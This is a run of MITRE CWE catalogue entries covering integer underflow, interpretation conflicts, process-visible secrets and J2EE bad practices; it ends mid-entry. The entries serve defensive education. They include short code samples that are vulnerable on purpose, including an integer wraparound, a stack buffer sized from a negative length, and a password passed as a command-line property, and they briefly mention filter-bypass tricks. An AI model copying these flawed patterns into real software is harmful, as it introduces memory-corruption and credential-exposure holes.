If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.
+ Demonstrative Examples

Example 1

The following example subtracts from a 32 bit signed integer.

(bad code)
Example Language:
#include <stdio.h>
#include <stdbool.h>
main (void)
{
int i;
i = -2147483648;
i = i - 1;
return 0;
}

The example has an integer underflow. The value of i is already at the lowest negative value possible, so after subtracting 1, the new value of i is 2147483647.

Example 2

This code performs a stack allocation based on a length calculation.

(bad code)
Example Language:
int a = 5, b = 6;
size_t len = a - b;
char buf[len]; // Just blows up the stack
}

Since a and b are declared as signed ints, the "a - b" subtraction gives a negative result (-1). However, since len is declared to be unsigned, len is cast to an extremely large positive number (on 32-bit systems - 4294967295). As a result, the buffer buf[len] declaration uses an extremely large size to allocate on the stack, very likely more than the entire computer's memory space.

Miscalculations usually will not be so obvious. The calculation will either be complicated or the result of an attacker's input to attain the negative value.

+ Observed Examples
ReferenceDescription
Integer underflow in firewall via malformed packet.
Integer underflow by packet with invalid length.
Long input causes incorrect length calculation.
Malformed icon causes integer underflow in loop counter variable.
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.998SFP Secondary Cluster: Glitch in Computation
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1137SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1158SEI CERT C Coding Standard - Guidelines 04. Integers (INT)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERInteger underflow (wrap or wraparound)
Software Fault PatternsSFP1Glitch in computation
CERT C Secure CodingINT30-CImpreciseEnsure that unsigned integer operations do not wrap
CERT C Secure CodingINT32-CImpreciseEnsure that operations on signed integers do not result in overflow
+ References
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 7: Integer Overflows." Page 119. McGraw-Hill. 2010.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Demonstrative_Example
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Applicable_Platforms, Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, References, Relationships
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Taxonomy_Mappings
2019-01-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-436: Interpretation Conflict

Weakness ID: 436
Vulnerability Mapping: ALLOWEDThis CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review (with careful review of mapping notes)
Abstraction: ClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
Product A handles inputs or steps differently than Product B, which causes A to perform incorrect actions based on its perception of B's state.
+ Extended Description
This is generally found in proxies, firewalls, anti-virus software, and other intermediary devices that monitor, allow, deny, or modify traffic based on how the client or server is expected to behave.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.435Improper Interaction Between Multiple Correctly-Behaving Entities
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.86Improper Neutralization of Invalid Characters in Identifiers in Web Pages
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.113Improper Neutralization of CRLF Sequences in HTTP Headers ('HTTP Request/Response Splitting')
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.115Misinterpretation of Input
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.437Incomplete Model of Endpoint Features
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.444Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.626Null Byte Interaction Error (Poison Null Byte)
ParentOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.650Trusting HTTP Permission Methods on the Server Side
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.351Insufficient Type Distinction
PeerOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.434Unrestricted Upload of File with Dangerous Type
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.444Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Integrity
Other

Technical Impact: Unexpected State; Varies by Context

+ Demonstrative Examples

Example 1

The paper "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection" [REF-428] shows that OSes varied widely in how they manage unusual packets, which made it difficult or impossible for intrusion detection systems to properly detect certain attacker manipulations that took advantage of these OS differences.

Example 2

Null characters have different interpretations in Perl and C, which have security consequences when Perl invokes C functions. Similar problems have been reported in ASP [REF-429] and PHP.

+ Observed Examples
ReferenceDescription
Bypass filters or poison web cache using requests with multiple Content-Length headers, a non-standard behavior.
Anti-virus product allows bypass via Content-Type and Content-Disposition headers that are mixed case, which are still processed by some clients.
FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.
FTP clients sending a command with "PASV" in the argument can cause firewalls to misinterpret the server's error as a valid response, allowing filter bypass.
Virus product bypass with spaces between MIME header fields and the ":" separator, a non-standard message that is accepted by some clients.
AV product detection bypass using inconsistency manipulation (file extension in MIME Content-Type vs. Content-Disposition field).
CMS system allows uploads of files with GIF/JPG extensions, but if they contain HTML, Internet Explorer renders them as HTML instead of images.
Interpretation conflict allows XSS via invalid "<" when a ">" is expected, which is treated as ">" by many web browsers.
Interpretation conflict (non-standard behavior) enables XSS because browser ignores invalid characters in the middle of tags.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.957SFP Secondary Cluster: Protocol Error
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).1003Weaknesses for Simplified Mapping of Published Vulnerabilities
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1398Comprehensive Categorization: Component Interaction
+ Vulnerability Mapping Notes

Usage: ALLOWED-WITH-REVIEW

(this CWE ID could be used to map to real-world vulnerabilities in limited situations requiring careful review)

Reason: Abstraction

Rationale:

This CWE entry is a Class and might have Base-level children that would be more appropriate

Comments:

Examine children of this entry to see if there is a better fit
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERMultiple Interpretation Error (MIE)
WASC27HTTP Response Smuggling
+ References
[REF-427] Steve Christey. "On Interpretation Conflict Vulnerabilities". Bugtraq. 2005-11-03. <https://seclists.org/bugtraq/2005/Nov/30>. URL validated: 2023-04-07.
[REF-428] Thomas H. Ptacek and Timothy N. Newsham. "Insertion, Evasion, and Denial of Service: Eluding Network Intrusion Detection". 1998-01. <https://insecure.org/stf/secnet_ids/secnet_ids.pdf>. URL validated: 2023-04-07.
[REF-429] Brett Moore. "0x00 vs ASP file upload scripts". 2004-07-13. <http://www.security-assessment.com/Whitepapers/0x00_vs_ASP_File_Uploads.pdf>.
[REF-430] Rain Forest Puppy. "Poison NULL byte". Phrack.
[REF-431] David F. Skoll. "Re: Corsaire Security Advisory - Multiple vendor MIME RFC2047 encoding". Bugtraq. 2004-09-15. <http://marc.info/?l=bugtraq&m=109525864717484&w=2>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2009-05-27CWE Content TeamMITRE
updated Related_Attack_Patterns
2009-10-29CWE Content TeamMITRE
updated Relationships
2010-02-16CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2010-04-05CWE Content TeamMITRE
updated Related_Attack_Patterns
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Applicable_Platforms, Description, Observed_Examples, Other_Notes, References
2014-07-30CWE Content TeamMITRE
updated Relationships
2015-12-07CWE Content TeamMITRE
updated Relationships
2017-01-19CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples, References, Relationships
2018-03-27CWE Content TeamMITRE
updated References
2019-06-20CWE Content TeamMITRE
updated Relationships, Type
2020-02-24CWE Content TeamMITRE
updated Relationships
2020-08-20CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-04-28CWE Content TeamMITRE
updated Related_Attack_Patterns
2022-06-28CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Multiple Interpretation Error (MIE)

CWE-214: Invocation of Process Using Visible Sensitive Information

Weakness ID: 214
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A process is invoked with sensitive command-line arguments, environment variables, or other elements that can be seen by other processes on the operating system.
+ Extended Description
Many operating systems allow a user to list information about processes that are owned by other users. Other users could see information such as command line arguments or environment variable settings. When this data contains sensitive information such as credentials, it might allow other users to launch an attack against the product or related resources.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.497Exposure of Sensitive System Information to an Unauthorized Control Sphere
PeerOfVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.526Cleartext Storage of Sensitive Information in an Environment Variable
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1016Limit Exposure
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and Design
ImplementationREALIZATION: This weakness is caused during implementation of an architectural security tactic.
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality

Technical Impact: Read Application Data

+ Demonstrative Examples

Example 1

In the example below, the password for a keystore file is read from a system property.

(bad code)
Example Language: Java 
String keystorePass = System.getProperty("javax.net.ssl.keyStorePassword");
if (keystorePass == null) {
System.err.println("ERROR: Keystore password not specified.");
System.exit(-1);
}

...

If the property is defined on the command line when the program is invoked (using the -D... syntax), the password may be displayed in the OS process list.

+ Observed Examples
ReferenceDescription
password passed on command line
password passed on command line
username/password on command line allows local users to view via "ps" or other process listing programs
Username/password on command line allows local users to view via "ps" or other process listing programs.
PGP passphrase provided as command line argument.
Kernel race condition allows reading of environment variables of a process that is still spawning.
Code analysis product passes access tokens as a command-line parameter or through an environment variable, making them visible to other processes via the ps command.
+ Affected Resources
  • System Process
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.963SFP Secondary Cluster: Exposed Data
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Research Gap

Under-studied, especially environment variables.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERProcess information infoleak to other processes
Software Fault PatternsSFP23Exposed Data
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Sean EidemillerCigital
added/updated demonstrative examples
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description, Other_Notes
2009-10-29CWE Content TeamMITRE
updated Other_Notes
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships, Type
2023-01-31CWE Content TeamMITRE
updated Description, Observed_Examples, Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11Process Information Leak to Other Processes
2011-03-29Process Environment Information Leak
2020-02-24Information Exposure Through Process Environment

CWE-245: J2EE Bad Practices: Direct Management of Connections

Weakness ID: 245
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The J2EE application directly manages connections, instead of using the container's connection management facilities.
+ Extended Description
The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Java (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation

+ Demonstrative Examples

Example 1

In the following example, the class DatabaseConnection opens and manages a connection to a database for a J2EE application. The method openDatabaseConnection opens a connection to the database using a DriverManager to create the Connection object conn to the database specified in the string constant CONNECT_STRING.

(bad code)
Example Language: Java 
public class DatabaseConnection {
private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqldb";
private Connection conn = null;

public DatabaseConnection() {
}

public void openDatabaseConnection() {
try {
conn = DriverManager.getConnection(CONNECT_STRING);
} catch (SQLException ex) {...}
}

// Member functions for retrieving database connection and accessing database
...
}

The use of the DriverManager class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

(good code)
 
public class DatabaseConnection {
private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysqldb";
private Connection conn = null;

public DatabaseConnection() {
}

public void openDatabaseConnection() {
try {
InitialContext ctx = new InitialContext();
DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);
conn = datasource.getConnection();
} catch (NamingException ex) {...}
} catch (SQLException ex) {...}
}

// Member functions for retrieving database connection and accessing database
...
}
+ Weakness Ordinalities
OrdinalityDescription
Primary
(where the weakness exists independent of other weaknesses)
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1001SFP Secondary Cluster: Use of an Improper API
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Variant level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
7 Pernicious KingdomsJ2EE Bad Practices: getConnection()
Software Fault PatternsSFP3Use of an improper API
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Taxonomy_Mappings, Weakness_Ordinalities
2010-04-05CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2014-06-23CWE Content TeamMITRE
updated Description, Other_Notes
2014-07-30CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Causal_Nature, Relationships
2020-02-24CWE Content TeamMITRE
updated References, Relationships
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, Relationships, Time_of_Introduction
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
+ Previous Entry Names
Change DatePrevious Entry Name
2008-04-11J2EE Bad Practices: getConnection()

CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID: 246
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: VariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The J2EE application directly uses sockets instead of using framework method calls.
+ Extended Description

The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues.

Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
